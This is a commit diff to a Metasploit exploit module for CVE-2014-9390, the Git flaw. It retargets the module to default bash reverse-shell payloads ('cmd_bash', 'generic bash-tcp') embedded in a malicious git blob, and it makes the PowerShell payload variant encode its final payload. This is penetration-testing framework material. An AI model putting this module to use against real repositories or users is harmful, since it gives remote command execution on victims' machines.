Configure module to target bash by default

Author: Meatballs1

modules/exploits/multi/http/cve_2014_9390.rb

@@ -54,24 +54,21 @@ def initialize(info = {})
 
         ],
       'DisclosureDate' => 'Dec 18 2014',
-      # TODO: correct all of this
-      'Payload'        =>
-        {
-          'Compat'      =>
-            {
-              'PayloadType' => 'cmd',
-              'RequiredCmd' => 'generic perl bash'
-            },
-          'EncoderType'     => Msf::Encoder::Type::Raw
-        },
-      'Platform'	=> %w(osx win),
-      'Targets'	=>
+      'Targets' =>
         [
           [
             'Automatic',
             {
               'Platform' => [ 'unix' ],
-              'Arch'     => ARCH_CMD
+              'Arch'     => ARCH_CMD,
+              'Payload'        =>
+                {
+                  'Compat'      =>
+                    {
+                      'PayloadType' => 'cmd_bash',
+                      'RequiredCmd' => 'generic bash-tcp'
+                    },
+                }
             }
           ],
           [
@@ -134,7 +131,11 @@ def setup_git
     when 'Automatic'
       full_cmd = "#!/bin/sh\n#{payload.encoded}\n"
     when 'Windows Powershell'
-      full_cmd = "#!/bin/sh\n#{cmd_psh_payload(payload.encoded, payload_instance.arch.first)}"
+      psh = cmd_psh_payload(payload.encoded,
+                            payload_instance.arch.first,
+                            remove_comspec: true,
+                            encode_final_payload: true)
+      full_cmd = "#!/bin/sh\n#{psh}"
     end
 
     sha1, content = build_object('blob', full_cmd)